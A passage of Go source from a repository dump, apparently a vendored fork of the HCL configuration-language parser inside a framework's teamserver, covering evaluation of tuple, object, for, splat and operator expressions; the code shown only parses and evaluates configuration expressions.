}\n\n    return cty.TupleVal(vals), diags\n}\n\nfunc (e *TupleConsExpr) Range() hcl.Range {\n    return e.SrcRange\n}\n\nfunc (e *TupleConsExpr) StartRange() hcl.Range {\n    return e.OpenRange\n}\n\n// Implementation for hcl.ExprList\nfunc (e *TupleConsExpr) ExprList() []hcl.Expression {\n    ret := make([]hcl.Expression, len(e.Exprs))\n    for i, expr := range e.Exprs {\n        ret[i] = expr\n    }\n    return ret\n}\n\ntype ObjectConsExpr struct {\n    Items []ObjectConsItem\n\n    SrcRange  hcl.Range\n    OpenRange hcl.Range\n}\n\ntype ObjectConsItem struct {\n    KeyExpr   Expression\n    ValueExpr Expression\n}\n\nfunc (e *ObjectConsExpr) walkChildNodes(w internalWalkFunc) {\n    for _, item := range e.Items {\n        w(item.KeyExpr)\n        w(item.ValueExpr)\n    }\n}\n\nfunc (e *ObjectConsExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    var vals map[string]cty.Value\n    var diags hcl.Diagnostics\n    var marks []cty.ValueMarks\n\n    // This will get set to true if we fail to produce any of our keys,\n    // either because they are actually unknown or if the evaluation produces\n    // errors. In all of these case we must return DynamicPseudoType because\n    // we're unable to know the full set of keys our object has, and thus\n    // we can't produce a complete value of the intended type.\n    //\n    // We still evaluate all of the item keys and values to make sure that we\n    // get as complete as possible a set of diagnostics.\n    known := true\n\n    vals = make(map[string]cty.Value, len(e.Items))\n    for _, item := range e.Items {\n        key, keyDiags := item.KeyExpr.Value(ctx)\n        diags = append(diags, keyDiags...)\n\n        val, valDiags := item.ValueExpr.Value(ctx)\n        diags = append(diags, valDiags...)\n\n        if keyDiags.HasErrors() {\n            known = false\n            continue\n        }\n\n        if key.IsNull() {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity:    hcl.DiagError,\n                Summary:     \"Null value as key\",\n                Detail:      \"Can't use a null value as a key.\",\n                Subject:     item.ValueExpr.Range().Ptr(),\n                Expression:  item.KeyExpr,\n                EvalContext: ctx,\n            })\n            known = false\n            continue\n        }\n\n        key, keyMarks := key.Unmark()\n        marks = append(marks, keyMarks)\n\n        var err error\n        key, err = convert.Convert(key, cty.String)\n        if err != nil {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity:    hcl.DiagError,\n                Summary:     \"Incorrect key type\",\n                Detail:      fmt.Sprintf(\"Can't use this value as a key: %s.\", err.Error()),\n                Subject:     item.KeyExpr.Range().Ptr(),\n                Expression:  item.KeyExpr,\n                EvalContext: ctx,\n            })\n            known = false\n            continue\n        }\n\n        if !key.IsKnown() {\n            known = false\n            continue\n        }\n\n        keyStr := key.AsString()\n\n        vals[keyStr] = val\n    }\n\n    if !known {\n        return cty.DynamicVal, diags\n    }\n\n    return cty.ObjectVal(vals).WithMarks(marks...), diags\n}\n\nfunc (e *ObjectConsExpr) Range() hcl.Range {\n    return e.SrcRange\n}\n\nfunc (e *ObjectConsExpr) StartRange() hcl.Range {\n    return e.OpenRange\n}\n\n// Implementation for hcl.ExprMap\nfunc (e *ObjectConsExpr) ExprMap() []hcl.KeyValuePair {\n    ret := make([]hcl.KeyValuePair, len(e.Items))\n    for i, item := range e.Items {\n        ret[i] = hcl.KeyValuePair{\n            Key:   item.KeyExpr,\n            Value: item.ValueExpr,\n        }\n    }\n    return ret\n}\n\n// ObjectConsKeyExpr is a special wrapper used only for ObjectConsExpr keys,\n// which deals with the special case that a naked identifier in that position\n// must be interpreted as a literal string rather than evaluated directly.\ntype ObjectConsKeyExpr struct {\n    Wrapped         Expression\n    ForceNonLiteral bool\n}\n\nfunc (e *ObjectConsKeyExpr) literalName() string {\n    // This is our logic for deciding whether to behave like a literal string.\n    // We lean on our AbsTraversalForExpr implementation here, which already\n    // deals with some awkward cases like the expression being the result\n    // of the keywords \"null\", \"true\" and \"false\" which we'd want to interpret\n    // as keys here too.\n    return hcl.ExprAsKeyword(e.Wrapped)\n}\n\nfunc (e *ObjectConsKeyExpr) walkChildNodes(w internalWalkFunc) {\n    // We only treat our wrapped expression as a real expression if we're\n    // not going to interpret it as a literal.\n    if e.literalName() == \"\" {\n        w(e.Wrapped)\n    }\n}\n\nfunc (e *ObjectConsKeyExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    // Because we accept a naked identifier as a literal key rather than a\n    // reference, it's confusing to accept a traversal containing periods\n    // here since we can't tell if the user intends to create a key with\n    // periods or actually reference something. To avoid confusing downstream\n    // errors we'll just prohibit a naked multi-step traversal here and\n    // require the user to state their intent more clearly.\n    // (This is handled at evaluation time rather than parse time because\n    // an application using static analysis _can_ accept a naked multi-step\n    // traversal here, if desired.)\n    if !e.ForceNonLiteral {\n        if travExpr, isTraversal := e.Wrapped.(*ScopeTraversalExpr); isTraversal && len(travExpr.Traversal) > 1 {\n            var diags hcl.Diagnostics\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Ambiguous attribute key\",\n                Detail:   \"If this expression is intended to be a reference, wrap it in parentheses. If it's instead intended as a literal name containing periods, wrap it in quotes to create a string literal.\",\n                Subject:  e.Range().Ptr(),\n            })\n            return cty.DynamicVal, diags\n        }\n\n        if ln := e.literalName(); ln != \"\" {\n            return cty.StringVal(ln), nil\n        }\n    }\n    return e.Wrapped.Value(ctx)\n}\n\nfunc (e *ObjectConsKeyExpr) Range() hcl.Range {\n    return e.Wrapped.Range()\n}\n\nfunc (e *ObjectConsKeyExpr) StartRange() hcl.Range {\n    return e.Wrapped.StartRange()\n}\n\n// Implementation for hcl.AbsTraversalForExpr.\nfunc (e *ObjectConsKeyExpr) AsTraversal() hcl.Traversal {\n    // If we're forcing a non-literal then we can never be interpreted\n    // as a traversal.\n    if e.ForceNonLiteral {\n        return nil\n    }\n\n    // We can produce a traversal only if our wrappee can.\n    st, diags := hcl.AbsTraversalForExpr(e.Wrapped)\n    if diags.HasErrors() {\n        return nil\n    }\n\n    return st\n}\n\nfunc (e *ObjectConsKeyExpr) UnwrapExpression() Expression {\n    return e.Wrapped\n}\n\n// ForExpr represents iteration constructs:\n//\n//     tuple = [for i, v in list: upper(v) if i > 2]\n//     object = {for k, v in map: k => upper(v)}\n//     object_of_tuples = {for v in list: v.key: v...}\ntype ForExpr struct {\n    KeyVar string // empty if ignoring the key\n    ValVar string\n\n    CollExpr Expression\n\n    KeyExpr  Expression // nil when producing a tuple\n    ValExpr  Expression\n    CondExpr Expression // null if no \"if\" clause is present\n\n    Group bool // set if the ellipsis is used on the value in an object for\n\n    SrcRange   hcl.Range\n    OpenRange  hcl.Range\n    CloseRange hcl.Range\n}\n\nfunc (e *ForExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    var diags hcl.Diagnostics\n    var marks []cty.ValueMarks\n\n    collVal, collDiags := e.CollExpr.Value(ctx)\n    diags = append(diags, collDiags...)\n\n    if collVal.IsNull() {\n        diags = append(diags, &hcl.Diagnostic{\n            Severity:    hcl.DiagError,\n            Summary:     \"Iteration over null value\",\n            Detail:      \"A null value cannot be used as the collection in a 'for' expression.\",\n            Subject:     e.CollExpr.Range().Ptr(),\n            Context:     &e.SrcRange,\n            Expression:  e.CollExpr,\n            EvalContext: ctx,\n        })\n        return cty.DynamicVal, diags\n    }\n    if collVal.Type() == cty.DynamicPseudoType {\n        return cty.DynamicVal, diags\n    }\n    // Unmark collection before checking for iterability, because marked\n    // values cannot be iterated\n    collVal, collMarks := collVal.Unmark()\n    marks = append(marks, collMarks)\n    if !collVal.CanIterateElements() {\n        diags = append(diags, &hcl.Diagnostic{\n            Severity: hcl.DiagError,\n            Summary:  \"Iteration over non-iterable value\",\n            Detail: fmt.Sprintf(\n                \"A value of type %s cannot be used as the collection in a 'for' expression.\",\n                collVal.Type().FriendlyName(),\n            ),\n            Subject:     e.CollExpr.Range().Ptr(),\n            Context:     &e.SrcRange,\n            Expression:  e.CollExpr,\n            EvalContext: ctx,\n        })\n        return cty.DynamicVal, diags\n    }\n    if !collVal.IsKnown() {\n        return cty.DynamicVal, diags\n    }\n\n    // Before we start we'll do an early check to see if any CondExpr we've\n    // been given is of the wrong type. This isn't 100% reliable (it may\n    // be DynamicVal until real values are given) but it should catch some\n    // straightforward cases and prevent a barrage of repeated errors.\n    if e.CondExpr != nil {\n        childCtx := ctx.NewChild()\n        childCtx.Variables = map[string]cty.Value{}\n        if e.KeyVar != \"\" {\n            childCtx.Variables[e.KeyVar] = cty.DynamicVal\n        }\n        childCtx.Variables[e.ValVar] = cty.DynamicVal\n\n        result, condDiags := e.CondExpr.Value(childCtx)\n        diags = append(diags, condDiags...)\n        if result.IsNull() {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity:    hcl.DiagError,\n                Summary:     \"Condition is null\",\n                Detail:      \"The value of the 'if' clause must not be null.\",\n                Subject:     e.CondExpr.Range().Ptr(),\n                Context:     &e.SrcRange,\n                Expression:  e.CondExpr,\n                EvalContext: ctx,\n            })\n            return cty.DynamicVal, diags\n        }\n        _, err := convert.Convert(result, cty.Bool)\n        if err != nil {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity:    hcl.DiagError,\n                Summary:     \"Invalid 'for' condition\",\n                Detail:      fmt.Sprintf(\"The 'if' clause value is invalid: %s.\", err.Error()),\n                Subject:     e.CondExpr.Range().Ptr(),\n                Context:     &e.SrcRange,\n                Expression:  e.CondExpr,\n                EvalContext: ctx,\n            })\n            return cty.DynamicVal, diags\n        }\n        if condDiags.HasErrors() {\n            return cty.DynamicVal, diags\n        }\n    }\n\n    if e.KeyExpr != nil {\n        // Producing an object\n        var vals map[string]cty.Value\n        var groupVals map[string][]cty.Value\n        if e.Group {\n            groupVals = map[string][]cty.Value{}\n        } else {\n            vals = map[string]cty.Value{}\n        }\n\n        it := collVal.ElementIterator()\n\n        known := true\n        for it.Next() {\n            k, v := it.Element()\n            childCtx := ctx.NewChild()\n            childCtx.Variables = map[string]cty.Value{}\n            if e.KeyVar != \"\" {\n                childCtx.Variables[e.KeyVar] = k\n            }\n            childCtx.Variables[e.ValVar] = v\n\n            if e.CondExpr != nil {\n                includeRaw, condDiags := e.CondExpr.Value(childCtx)\n                diags = append(diags, condDiags...)\n                if includeRaw.IsNull() {\n                    if known {\n                        diags = append(diags, &hcl.Diagnostic{\n                            Severity:    hcl.DiagError,\n                            Summary:     \"Invalid 'for' condition\",\n                            Detail:      \"The value of the 'if' clause must not be null.\",\n                            Subject:     e.CondExpr.Range().Ptr(),\n                            Context:     &e.SrcRange,\n                            Expression:  e.CondExpr,\n                            EvalContext: childCtx,\n                        })\n                    }\n                    known = false\n                    continue\n                }\n                include, err := convert.Convert(includeRaw, cty.Bool)\n                if err != nil {\n                    if known {\n                        diags = append(diags, &hcl.Diagnostic{\n                            Severity:    hcl.DiagError,\n                            Summary:     \"Invalid 'for' condition\",\n                            Detail:      fmt.Sprintf(\"The 'if' clause value is invalid: %s.\", err.Error()),\n                            Subject:     e.CondExpr.Range().Ptr(),\n                            Context:     &e.SrcRange,\n                            Expression:  e.CondExpr,\n                            EvalContext: childCtx,\n                        })\n                    }\n                    known = false\n                    continue\n                }\n                if !include.IsKnown() {\n                    known = false\n                    continue\n                }\n\n                // Extract and merge marks from the include expression into the\n                // main set of marks\n                includeUnmarked, includeMarks := include.Unmark()\n                marks = append(marks, includeMarks)\n                if includeUnmarked.False() {\n                    // Skip this element\n                    continue\n                }\n            }\n\n            keyRaw, keyDiags := e.KeyExpr.Value(childCtx)\n            diags = append(diags, keyDiags...)\n            if keyRaw.IsNull() {\n                if known {\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity:    hcl.DiagError,\n                        Summary:     \"Invalid object key\",\n                        Detail:      \"Key expression in 'for' expression must not produce a null value.\",\n                        Subject:     e.KeyExpr.Range().Ptr(),\n                        Context:     &e.SrcRange,\n                        Expression:  e.KeyExpr,\n                        EvalContext: childCtx,\n                    })\n                }\n                known = false\n                continue\n            }\n            if !keyRaw.IsKnown() {\n                known = false\n                continue\n            }\n\n            key, err := convert.Convert(keyRaw, cty.String)\n            if err != nil {\n                if known {\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity:    hcl.DiagError,\n                        Summary:     \"Invalid object key\",\n                        Detail:      fmt.Sprintf(\"The key expression produced an invalid result: %s.\", err.Error()),\n                        Subject:     e.KeyExpr.Range().Ptr(),\n                        Context:     &e.SrcRange,\n                        Expression:  e.KeyExpr,\n                        EvalContext: childCtx,\n                    })\n                }\n                known = false\n                continue\n            }\n\n            key, keyMarks := key.Unmark()\n            marks = append(marks, keyMarks)\n\n            val, valDiags := e.ValExpr.Value(childCtx)\n            diags = append(diags, valDiags...)\n\n            if e.Group {\n                k := key.AsString()\n                groupVals[k] = append(groupVals[k], val)\n            } else {\n                k := key.AsString()\n                if _, exists := vals[k]; exists {\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  \"Duplicate object key\",\n                        Detail: fmt.Sprintf(\n                            \"Two different items produced the key %q in this 'for' expression. If duplicates are expected, use the ellipsis (...) after the value expression to enable grouping by key.\",\n                            k,\n                        ),\n                        Subject:     e.KeyExpr.Range().Ptr(),\n                        Context:     &e.SrcRange,\n                        Expression:  e.KeyExpr,\n                        EvalContext: childCtx,\n                    })\n                } else {\n                    vals[key.AsString()] = val\n                }\n            }\n        }\n\n        if !known {\n            return cty.DynamicVal, diags\n        }\n\n        if e.Group {\n            vals = map[string]cty.Value{}\n            for k, gvs := range groupVals {\n                vals[k] = cty.TupleVal(gvs)\n            }\n        }\n\n        return cty.ObjectVal(vals).WithMarks(marks...), diags\n\n    } else {\n        // Producing a tuple\n        vals := []cty.Value{}\n\n        it := collVal.ElementIterator()\n\n        known := true\n        for it.Next() {\n            k, v := it.Element()\n            childCtx := ctx.NewChild()\n            childCtx.Variables = map[string]cty.Value{}\n            if e.KeyVar != \"\" {\n                childCtx.Variables[e.KeyVar] = k\n            }\n            childCtx.Variables[e.ValVar] = v\n\n            if e.CondExpr != nil {\n                includeRaw, condDiags := e.CondExpr.Value(childCtx)\n                diags = append(diags, condDiags...)\n                if includeRaw.IsNull() {\n                    if known {\n                        diags = append(diags, &hcl.Diagnostic{\n                            Severity:    hcl.DiagError,\n                            Summary:     \"Invalid 'for' condition\",\n                            Detail:      \"The value of the 'if' clause must not be null.\",\n                            Subject:     e.CondExpr.Range().Ptr(),\n                            Context:     &e.SrcRange,\n                            Expression:  e.CondExpr,\n                            EvalContext: childCtx,\n                        })\n                    }\n                    known = false\n                    continue\n                }\n                if !includeRaw.IsKnown() {\n                    // We will eventually return DynamicVal, but we'll continue\n                    // iterating in case there are other diagnostics to gather\n                    // for later elements.\n                    known = false\n                    continue\n                }\n\n                include, err := convert.Convert(includeRaw, cty.Bool)\n                if err != nil {\n                    if known {\n                        diags = append(diags, &hcl.Diagnostic{\n                            Severity:    hcl.DiagError,\n                            Summary:     \"Invalid 'for' condition\",\n                            Detail:      fmt.Sprintf(\"The 'if' clause value is invalid: %s.\", err.Error()),\n                            Subject:     e.CondExpr.Range().Ptr(),\n                            Context:     &e.SrcRange,\n                            Expression:  e.CondExpr,\n                            EvalContext: childCtx,\n                        })\n                    }\n                    known = false\n                    continue\n                }\n\n                // Extract and merge marks from the include expression into the\n                // main set of marks\n                includeUnmarked, includeMarks := include.Unmark()\n                marks = append(marks, includeMarks)\n                if includeUnmarked.False() {\n                    // Skip this element\n                    continue\n                }\n            }\n\n            val, valDiags := e.ValExpr.Value(childCtx)\n            diags = append(diags, valDiags...)\n            vals = append(vals, val)\n        }\n\n        if !known {\n            return cty.DynamicVal, diags\n        }\n\n        return cty.TupleVal(vals).WithMarks(marks...), diags\n    }\n}\n\nfunc (e *ForExpr) walkChildNodes(w internalWalkFunc) {\n    w(e.CollExpr)\n\n    scopeNames := map[string]struct{}{}\n    if e.KeyVar != \"\" {\n        scopeNames[e.KeyVar] = struct{}{}\n    }\n    if e.ValVar != \"\" {\n        scopeNames[e.ValVar] = struct{}{}\n    }\n\n    if e.KeyExpr != nil {\n        w(ChildScope{\n            LocalNames: scopeNames,\n            Expr:       e.KeyExpr,\n        })\n    }\n    w(ChildScope{\n        LocalNames: scopeNames,\n        Expr:       e.ValExpr,\n    })\n    if e.CondExpr != nil {\n        w(ChildScope{\n            LocalNames: scopeNames,\n            Expr:       e.CondExpr,\n        })\n    }\n}\n\nfunc (e *ForExpr) Range() hcl.Range {\n    return e.SrcRange\n}\n\nfunc (e *ForExpr) StartRange() hcl.Range {\n    return e.OpenRange\n}\n\ntype SplatExpr struct {\n    Source Expression\n    Each   Expression\n    Item   *AnonSymbolExpr\n\n    SrcRange    hcl.Range\n    MarkerRange hcl.Range\n}\n\nfunc (e *SplatExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    sourceVal, diags := e.Source.Value(ctx)\n    if diags.HasErrors() {\n        // We'll evaluate our \"Each\" expression here just to see if it\n        // produces any more diagnostics we can report. Since we're not\n        // assigning a value to our AnonSymbolExpr here it will return\n        // DynamicVal, which should short-circuit any use of it.\n        _, itemDiags := e.Item.Value(ctx)\n        diags = append(diags, itemDiags...)\n        return cty.DynamicVal, diags\n    }\n\n    sourceTy := sourceVal.Type()\n\n    // A \"special power\" of splat expressions is that they can be applied\n    // both to tuples/lists and to other values, and in the latter case\n    // the value will be treated as an implicit single-item tuple, or as\n    // an empty tuple if the value is null.\n    autoUpgrade := !(sourceTy.IsTupleType() || sourceTy.IsListType() || sourceTy.IsSetType())\n\n    if sourceVal.IsNull() {\n        if autoUpgrade {\n            return cty.EmptyTupleVal, diags\n        }\n        diags = append(diags, &hcl.Diagnostic{\n            Severity:    hcl.DiagError,\n            Summary:     \"Splat of null value\",\n            Detail:      \"Splat expressions (with the * symbol) cannot be applied to null sequences.\",\n            Subject:     e.Source.Range().Ptr(),\n            Context:     hcl.RangeBetween(e.Source.Range(), e.MarkerRange).Ptr(),\n            Expression:  e.Source,\n            EvalContext: ctx,\n        })\n        return cty.DynamicVal, diags\n    }\n\n    if sourceTy == cty.DynamicPseudoType {\n        // If we don't even know the _type_ of our source value yet then\n        // we'll need to defer all processing, since we can't decide our\n        // result type either.\n        return cty.DynamicVal, diags\n    }\n\n    if autoUpgrade {\n        sourceVal = cty.TupleVal([]cty.Value{sourceVal})\n        sourceTy = sourceVal.Type()\n    }\n\n    // We'll compute our result type lazily if we need it. In the normal case\n    // it's inferred automatically from the value we construct.\n    resultTy := func() (cty.Type, hcl.Diagnostics) {\n        chiCtx := ctx.NewChild()\n        var diags hcl.Diagnostics\n        switch {\n        case sourceTy.IsListType() || sourceTy.IsSetType():\n            ety := sourceTy.ElementType()\n            e.Item.setValue(chiCtx, cty.UnknownVal(ety))\n            val, itemDiags := e.Each.Value(chiCtx)\n            diags = append(diags, itemDiags...)\n            e.Item.clearValue(chiCtx) // clean up our temporary value\n            return cty.List(val.Type()), diags\n        case sourceTy.IsTupleType():\n            etys := sourceTy.TupleElementTypes()\n            resultTys := make([]cty.Type, 0, len(etys))\n            for _, ety := range etys {\n                e.Item.setValue(chiCtx, cty.UnknownVal(ety))\n                val, itemDiags := e.Each.Value(chiCtx)\n                diags = append(diags, itemDiags...)\n                e.Item.clearValue(chiCtx) // clean up our temporary value\n                resultTys = append(resultTys, val.Type())\n            }\n            return cty.Tuple(resultTys), diags\n        default:\n            // Should never happen because of our promotion to list above.\n            return cty.DynamicPseudoType, diags\n        }\n    }\n\n    if !sourceVal.IsKnown() {\n        // We can't produce a known result in this case, but we'll still\n        // indicate what the result type would be, allowing any downstream type\n        // checking to proceed.\n        ty, tyDiags := resultTy()\n        diags = append(diags, tyDiags...)\n        return cty.UnknownVal(ty), diags\n    }\n\n    // Unmark the collection, and save the marks to apply to the returned\n    // collection result\n    sourceVal, marks := sourceVal.Unmark()\n    vals := make([]cty.Value, 0, sourceVal.LengthInt())\n    it := sourceVal.ElementIterator()\n    if ctx == nil {\n        // we need a context to use our AnonSymbolExpr, so we'll just\n        // make an empty one here to use as a placeholder.\n        ctx = ctx.NewChild()\n    }\n    isKnown := true\n    for it.Next() {\n        _, sourceItem := it.Element()\n        e.Item.setValue(ctx, sourceItem)\n        newItem, itemDiags := e.Each.Value(ctx)\n        diags = append(diags, itemDiags...)\n        if itemDiags.HasErrors() {\n            isKnown = false\n        }\n        vals = append(vals, newItem)\n    }\n    e.Item.clearValue(ctx) // clean up our temporary value\n\n    if !isKnown {\n        // We'll ignore the resultTy diagnostics in this case since they\n        // will just be the same errors we saw while iterating above.\n        ty, _ := resultTy()\n        return cty.UnknownVal(ty), diags\n    }\n\n    switch {\n    case sourceTy.IsListType() || sourceTy.IsSetType():\n        if len(vals) == 0 {\n            ty, tyDiags := resultTy()\n            diags = append(diags, tyDiags...)\n            return cty.ListValEmpty(ty.ElementType()), diags\n        }\n        return cty.ListVal(vals).WithMarks(marks), diags\n    default:\n        return cty.TupleVal(vals).WithMarks(marks), diags\n    }\n}\n\nfunc (e *SplatExpr) walkChildNodes(w internalWalkFunc) {\n    w(e.Source)\n    w(e.Each)\n}\n\nfunc (e *SplatExpr) Range() hcl.Range {\n    return e.SrcRange\n}\n\nfunc (e *SplatExpr) StartRange() hcl.Range {\n    return e.MarkerRange\n}\n\n// AnonSymbolExpr is used as a placeholder for a value in an expression that\n// can be applied dynamically to any value at runtime.\n//\n// This is a rather odd, synthetic expression. It is used as part of the\n// representation of splat expressions as a placeholder for the current item\n// being visited in the splat evaluation.\n//\n// AnonSymbolExpr cannot be evaluated in isolation. If its Value is called\n// directly then cty.DynamicVal will be returned. Instead, it is evaluated\n// in terms of another node (i.e. a splat expression) which temporarily\n// assigns it a value.\ntype AnonSymbolExpr struct {\n    SrcRange hcl.Range\n\n    // values and its associated lock are used to isolate concurrent\n    // evaluations of a symbol from one another. It is the calling application's\n    // responsibility to ensure that the same splat expression is not evalauted\n    // concurrently within the _same_ EvalContext, but it is fine and safe to\n    // do cuncurrent evaluations with distinct EvalContexts.\n    values     map[*hcl.EvalContext]cty.Value\n    valuesLock sync.RWMutex\n}\n\nfunc (e *AnonSymbolExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    if ctx == nil {\n        return cty.DynamicVal, nil\n    }\n\n    e.valuesLock.RLock()\n    defer e.valuesLock.RUnlock()\n\n    val, exists := e.values[ctx]\n    if !exists {\n        return cty.DynamicVal, nil\n    }\n    return val, nil\n}\n\n// setValue sets a temporary local value for the expression when evaluated\n// in the given context, which must be non-nil.\nfunc (e *AnonSymbolExpr) setValue(ctx *hcl.EvalContext, val cty.Value) {\n    e.valuesLock.Lock()\n    defer e.valuesLock.Unlock()\n\n    if e.values == nil {\n        e.values = make(map[*hcl.EvalContext]cty.Value)\n    }\n    if ctx == nil {\n        panic(\"can't setValue for a nil EvalContext\")\n    }\n    e.values[ctx] = val\n}\n\nfunc (e *AnonSymbolExpr) clearValue(ctx *hcl.EvalContext) {\n    e.valuesLock.Lock()\n    defer e.valuesLock.Unlock()\n\n    if e.values == nil {\n        return\n    }\n    if ctx == nil {\n        panic(\"can't clearValue for a nil EvalContext\")\n    }\n    delete(e.values, ctx)\n}\n\nfunc (e *AnonSymbolExpr) walkChildNodes(w internalWalkFunc) {\n    // AnonSymbolExpr is a leaf node in the tree\n}\n\nfunc (e *AnonSymbolExpr) Range() hcl.Range {\n    return e.SrcRange\n}\n\nfunc (e *AnonSymbolExpr) StartRange() hcl.Range {\n    return e.SrcRange\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/expression_ops.go",
    "content": "package hclsyntax\n\nimport (\n    \"fmt\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"github.com/zclconf/go-cty/cty\"\n    \"github.com/zclconf/go-cty/cty/convert\"\n    \"github.com/zclconf/go-cty/cty/function\"\n    \"github.com/zclconf/go-cty/cty/function/stdlib\"\n)\n\ntype Operation struct {\n    Impl function.Function\n    Type cty.Type\n}\n\nvar (\n    OpLogicalOr = &Operation{\n        Impl: stdlib.OrFunc,\n        Type: cty.Bool,\n    }\n    OpLogicalAnd = &Operation{\n        Impl: stdlib.AndFunc,\n        Type: cty.Bool,\n    }\n    OpLogicalNot = &Operation{\n        Impl: stdlib.NotFunc,\n        Type: cty.Bool,\n    }\n\n    OpEqual = &Operation{\n        Impl: stdlib.EqualFunc,\n        Type: cty.Bool,\n    }\n    OpNotEqual = &Operation{\n        Impl: stdlib.NotEqualFunc,\n        Type: cty.Bool,\n    }\n\n    OpGreaterThan = &Operation{\n        Impl: stdlib.GreaterThanFunc,\n        Type: cty.Bool,\n    }\n    OpGreaterThanOrEqual = &Operation{\n        Impl: stdlib.GreaterThanOrEqualToFunc,\n        Type: cty.Bool,\n    }\n    OpLessThan = &Operation{\n        Impl: stdlib.LessThanFunc,\n        Type: cty.Bool,\n    }\n    OpLessThanOrEqual = &Operation{\n        Impl: stdlib.LessThanOrEqualToFunc,\n        Type: cty.Bool,\n    }\n\n    OpAdd = &Operation{\n        Impl: stdlib.AddFunc,\n        Type: cty.Number,\n    }\n    OpSubtract = &Operation{\n        Impl: stdlib.SubtractFunc,\n        Type: cty.Number,\n    }\n    OpMultiply = &Operation{\n        Impl: stdlib.MultiplyFunc,\n        Type: cty.Number,\n    }\n    OpDivide = &Operation{\n        Impl: stdlib.DivideFunc,\n        Type: cty.Number,\n    }\n    OpModulo = &Operation{\n        Impl: stdlib.ModuloFunc,\n        Type: cty.Number,\n    }\n    OpNegate = &Operation{\n        Impl: stdlib.NegateFunc,\n        Type: cty.Number,\n    }\n)\n\nvar binaryOps []map[TokenType]*Operation\n\nfunc init() {\n    // This operation table maps from the operator's token type\n    // to the AST operation type. All expressions produced from\n    // binary operators are BinaryOp nodes.\n    //\n    // Binary operator groups are listed in order of precedence, with\n    // the *lowest* precedence first. Operators within the same group\n    // have left-to-right associativity.\n    binaryOps = []map[TokenType]*Operation{\n        {\n            TokenOr: OpLogicalOr,\n        },\n        {\n            TokenAnd: OpLogicalAnd,\n        },\n        {\n            TokenEqualOp:  OpEqual,\n            TokenNotEqual: OpNotEqual,\n        },\n        {\n            TokenGreaterThan:   OpGreaterThan,\n            TokenGreaterThanEq: OpGreaterThanOrEqual,\n            TokenLessThan:      OpLessThan,\n            TokenLessThanEq:    OpLessThanOrEqual,\n        },\n        {\n            TokenPlus:  OpAdd,\n            TokenMinus: OpSubtract,\n        },\n        {\n            TokenStar:    OpMultiply,\n            TokenSlash:   OpDivide,\n            TokenPercent: OpModulo,\n        },\n    }\n}\n\ntype BinaryOpExpr struct {\n    LHS Expression\n    Op  *Operation\n    RHS Expression\n\n    SrcRange hcl.Range\n}\n\nfunc (e *BinaryOpExpr) walkChildNodes(w internalWalkFunc) {\n    w(e.LHS)\n    w(e.RHS)\n}\n\nfunc (e *BinaryOpExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    impl := e.Op.Impl // assumed to be a function taking exactly two arguments\n    params := impl.Params()\n    lhsParam := params[0]\n    rhsParam := params[1]\n\n    var diags hcl.Diagnostics\n\n    givenLHSVal, lhsDiags := e.LHS.Value(ctx)\n    givenRHSVal, rhsDiags := e.RHS.Value(ctx)\n    diags = append(diags, lhsDiags...)\n    diags = append(diags, rhsDiags...)\n\n    lhsVal, err := convert.Convert(givenLHSVal, lhsParam.Type)\n    if err != nil {\n        diags = append(diags, &hcl.Diagnostic{\n            Severity:    hcl.DiagError,\n            Summary:     \"Invalid operand\",\n            Detail:      fmt.Sprintf(\"Unsuitable value for left operand: %s.\", err),\n            Subject:     e.LHS.Range().Ptr(),\n            Context:     &e.SrcRange,\n            Expression:  e.LHS,\n            EvalContext: ctx,\n        })\n    }\n    rhsVal, err := convert.Convert(givenRHSVal, rhsParam.Type)\n    if err != nil {\n        diags = append(diags, &hcl.Diagnostic{\n            Severity:    hcl.DiagError,\n            Summary:     \"Invalid operand\",\n            Detail:      fmt.Sprintf(\"Unsuitable value for right operand: %s.\", err),\n            Subject:     e.RHS.Range().Ptr(),\n            Context:     &e.SrcRange,\n            Expression:  e.RHS,\n            EvalContext: ctx,\n        })\n    }\n\n    if diags.HasErrors() {\n        // Don't actually try the call if we have errors already, since the\n        // this will probably just produce a confusing duplicative diagnostic.\n        return cty.UnknownVal(e.Op.Type), diags\n    }\n\n    args := []cty.Value{lhsVal, rhsVal}\n    result, err := impl.Call(args)\n    if err != nil {\n        diags = append(diags, &hcl.Diagnostic{\n            // FIXME: This diagnostic is useless.\n            Severity:    hcl.DiagError,\n            Summary:     \"Operation failed\",\n            Detail:      fmt.Sprintf(\"Error during operation: %s.\", err),\n            Subject:     &e.SrcRange,\n            Expression:  e,\n            EvalContext: ctx,\n        })\n        return cty.UnknownVal(e.Op.Type), diags\n    }\n\n    return result, diags\n}\n\nfunc (e *BinaryOpExpr) Range() hcl.Range {\n    return e.SrcRange\n}\n\nfunc (e *BinaryOpExpr) StartRange() hcl.Range {\n    return e.LHS.StartRange()\n}\n\ntype UnaryOpExpr struct {\n    Op  *Operation\n    Val Expression\n\n    SrcRange    hcl.Range\n    SymbolRange hcl.Range\n}\n\nfunc (e *UnaryOpExpr) walkChildNodes(w internalWalkFunc) {\n    w(e.Val)\n}\n\nfunc (e *UnaryOpExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    impl := e.Op.Impl // assumed to be a function taking exactly one argument\n    params := impl.Params()\n    param := params[0]\n\n    givenVal, diags := e.Val.Value(ctx)\n\n    val, err := convert.Convert(givenVal, param.Type)\n    if err != nil {\n        diags = append(diags, &hcl.Diagnostic{\n            Severity:    hcl.DiagError,\n            Summary:     \"Invalid operand\",\n            Detail:      fmt.Sprintf(\"Unsuitable value for unary operand: %s.\", 